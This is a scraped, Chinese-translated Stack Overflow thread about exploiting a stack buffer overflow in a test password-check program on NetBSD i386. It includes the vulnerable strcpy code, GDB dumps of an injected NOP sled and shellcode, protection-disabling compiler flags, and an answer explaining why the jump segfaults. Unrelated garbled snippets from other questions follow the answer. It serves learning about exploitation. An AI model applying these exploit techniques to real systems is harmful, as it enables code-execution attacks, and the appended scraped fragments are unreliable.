- c - 在位数组中找到第一个零
- linux - Unix 显示有关匹配两种模式之一的文件的信息
- 正则表达式替换多个文件
- linux - 隐藏来自 xtrace 的命令
我试图利用测试程序中的缓冲区溢出来执行任意代码。我在 NetBSD 6 i386 上。这是 C 代码:
int checkPassword(char *password)
{
char savePassword[64] = {0};
char *logMessage;
int isUser = 0;
int isAdmin = 0;
int i;
if (!strcmp(password, userPassword))
isUser = 1;
strcpy(savePassword, password);
for (i = 0; password[i]; ++i)
password[i] ^= xorKey;
if (!strcmp(password, adminPassword))
isAdmin = 1;
if (!(isAdmin | isUser)) {
/* ... */
}
return isAdmin ? ADMIN : isUser ? USER : NOBODY; /* main.c:79 */
}
我将代码插入 savePassword
缓冲区(位于 %ebp - 0x58
)。下面是使用 GDB 的调试:
# gdb -q ./pepito
Reading symbols from /root/Pepito/source/pepito...done.
(gdb) b main.c:79
Breakpoint 1 at 0x80490f4: file main.c, line 79.
(gdb) r debug
Starting program: /root/Pepito/source/pepito debug
Daemon started
Breakpoint 1, checkPassword (password=0xbb901000 '�' <repeats 57 times>, "\345Q?Y?\005?T?T�\r\345Td3\a?T�\035\060\071\071:u\":'91_-\352\352") at main.c:79
79 return isAdmin ? ADMIN : isUser ? USER : NOBODY;
我在函数返回时中断,然后我确保任意代码(96 字节长度)被正确写入堆栈:
(gdb) x/96xb $ebp-0x58
0xbfbfd560: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd568: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd570: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd578: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd580: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd588: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd590: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbfbfd598: 0x90 0xb0 0x04 0x6a 0x0c 0x6a 0x50 0x6a
0xbfbfd5a0: 0x01 0x6a 0x01 0xcd 0x60 0x00 0x00 0x00
0xbfbfd5a8: 0x31 0xd2 0x66 0x52 0x6a 0x01 0xcd 0x80
0xbfbfd5b0: 0x48 0x65 0x6c 0x6c 0x6f 0x20 0x77 0x6f
0xbfbfd5b8: 0x72 0x6c 0x64 0x0a 0x78 0xd5 0xbf 0xbf
然后我继续,直到 ret
汇编指令:
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) nexti
(gdb) x/i $eip
=> 0x8049119 <checkPassword+393>: ret
然后我检查堆栈顶部的返回地址(在 %esp
):
(gdb) x/xw $esp
0xbfbfd5bc: 0xbfbfd578
这个地址将被ret
弹出,然后我们将跳转到它。让我们看看我们在该地址的说明:
(gdb) x/50i 0xbfbfd578
0xbfbfd578: nop
0xbfbfd579: nop
0xbfbfd57a: nop
[...]
0xbfbfd597: nop
0xbfbfd598: nop
0xbfbfd599: mov al,0x4
0xbfbfd59b: push 0xc
0xbfbfd59d: push 0x50
0xbfbfd59f: push 0x1
0xbfbfd5a1: push 0x1
0xbfbfd5a3: int 0x60
我们的任意代码!
但是如果我执行 ret
它会出现段错误:
(gdb) nexti
Program received signal SIGSEGV, Segmentation fault.
0x08049119 in checkPassword (password=0xbb901000 '�' <repeats 57 times>, "\345Q?Y?\005?T?T�\r\345Td3\a?T�\035\060\071\071:u\":'91_-\352\352") at main.c:80
80 }
(gdb) x/i $eip
=> 0x8049119 <checkPassword+393>: ret
操作系统似乎禁止我在堆栈内存上跳转。但是我禁用了不可执行的堆栈保护:
gcc -m32 -g -fno-stack-protector -D_FORTIFY_SOURCE=0 -c main.c
gcc main.o daemon.o network.o utils.o -o pepito -m32 -L./lib_netbsd -lsecret -Wl,-rpath,./lib_netbsd -Wl,-z,execstack
readelf
确认堆栈是可执行的:
# readelf -l pepito
Elf file type is EXEC (Executable file)
Entry point 0x8048d60
There are 7 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
[...]
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
最佳答案
在我的盒子上,在通过 strcpy 调用溢出 savePassword 之后。我得到以下指示:
0x80484ba : movl $0x0,-0x14(%ebp)
对应局部变量i初始化为0
for (i = 0; password[i]; ++i)
这会破坏注入(inject)代码中的 NOP sled,从而在执行期间引发段错误。看看你这边。如果它是相同的(我几乎可以肯定它是)那么你可以简单地将你的 shellcode 移动到有效负载的开头并摆脱 NOP sled。
正如 Fermat2357 所说,考虑在 ret 指令之前发布函数转储以及整个有效负载。
海湾合作委员会:
gcc version 4.8.0 20130502 (prerelease) (GCC)
编译:
gcc -m32 -ggdb -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 vuln.c -o vuln
片段
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define ADMIN 2
#define USER 1
#define NOBODY 0
char* userPassword = "S3cuRe";
char* adminPassword = "4dm1n";
int xorKey = 0;
int checkPassword(char *password)
{
char savePassword[64] = {0};
char *logMessage;
int isUser = 0;
int isAdmin = 0;
int i;
if (!strcmp(password, userPassword))
isUser = 1;
strcpy(savePassword, password);
for (i = 0; password[i]; ++i)
password[i] ^= xorKey;
if (!strcmp(password, adminPassword))
isAdmin = 1;
if (!(isAdmin | isUser)) {
}
return isAdmin ? ADMIN : isUser ? USER : NOBODY;
}
void main(int argc, char *argv[])
{
int user = NOBODY;
user = checkPassword(argv[1]);
printf("Hello %d\n", user);
}
关于c - 缓冲区溢出漏洞 : segfault on function ret to stack code,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/16122420/
在编写代码时,当我编写 struct *Stack stack 时,代码无法工作,而当我像 struct Stack* stack 那样编写代码时,代码可以工作有人告诉我这两个代码之间的区别吗? 最佳
我的教授要我绘制堆栈吗?他想让我付诸行动吗?我觉得自己很愚蠢,但这不像任何人告诉我的那样!感谢您的帮助。 哇,你们真快。已经谢谢你了。完整的问题是:考虑两个堆栈,每个堆栈的大小为 n(即,每个堆栈最多
是new Stack[N]相当于new Stack[N]对于通用数据类型 Stack ? 编辑:虽然我知道最好避免混合泛型类型和数组,并且存在更强大的解决方案,但我的查询仍然存在:被广泛认可的教科书,
我正在尝试使用堆栈的 printf() 打印 stack.top() 的返回值,但它给出的格式不匹配。代码如下: int main(){ stack cards; char *ch1
我正在尝试做一个 dapp 项目。 我有一个堆栈太深的错误,但我不知道如何解决这个问题。 CompilerError: Stack too deep, try removing local varia
在哪里stack haddock (或 stack build --haddock )放置它生成的文档? 最佳答案 这取决于为“属于”生成黑线鳕的包的位置。 “本地”包的 Haddocks 是堆栈项目
按照目前的情况,这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持,但这个问题可能会引发辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开,visit the
基本上,我有 2 个文件(.adb 和 .ads)。我对 Ada 以及如何编译 2 个文件完全陌生。该程序是一个基本的堆栈实现。编译 .adb 文件时出现此编译错误。 $ gcc -c test_ad
关闭。这个问题需要更多focused .它目前不接受答案。 想改善这个问题吗?更新问题,使其仅关注一个问题 editing this post . 5年前关闭。 Improve this questi
您好,我正在尝试在微服务架构中使用 ELK 堆栈,其中有许多服务分布在许多服务器上。 现在我已经配置了 Kibana 和 ElasticSearch。现在我的疑问是我必须在哪里安装 Logstash。
很难说出这里要问什么。这个问题模棱两可、含糊不清、不完整、过于宽泛或夸夸其谈,无法以目前的形式得到合理的回答。如需帮助澄清此问题以便重新打开,visit the help center . 关闭 9
我正在学习 Haskell,但遇到了我没想到的异常“堆栈溢出”。 代码相当简单: type Reals = Double prod :: Reals -> Reals -> Reals prod a
在我的 PC(最新的 JDK 和编译器版本)上,我的程序运行得非常顺利。但在我教授的计算机上,她说她遇到了两个错误 1) Stack myStack= new Stack() 类型的非法开始 2) 非
当我尝试在调用跟踪后执行 ./stack.sh 时,我收到以下错误: `[Call Trace] ./stack.sh:217:source /home/work/devstack/stackrc
1 上下文 我参与了一个涉及大量 C 位和 FFI 的 Haskell 项目。所以我发现自己经常运行和重新运行命令,比如 $ stack build $ stack build --force-dir
关于 SO 上的堆栈的问题,终于!我的一生都让我走到了这一步。 所以我需要将我制作的一些相当大的自定义数据结构合并到一个堆栈中。我决定编写一个仅包含一个整数值的最小堆栈结构。这里是 - MODULE
我只是想知道为什么在括号之间嵌入表达式时会得到两个不同的成员列表,例如gl-stack。看起来,如果没有括号,表达式就会被完全求值,并且结果会立即传递到下一个管道组件。但通过括号,集合中的单个对象将被
是否可以保存Stack>在onSaveInstanceState . 是否可以通过另一种方式保存某些特定数据来管理 Activity 状态? 最佳答案 您无法将 View 保存到 bundle 中。无
这个问题已经有答案了: Why don't Java Generics support primitive types? (5 个回答) 已关闭 9 年前。 为什么我不能使用Stack ? 除了拳击之
基于数组的实现级别 #include "stack.h" void creat_stack(Stack *s) { s->Top = 0; } int isFull(Stack s) {
我是一名优秀的程序员,十分优秀!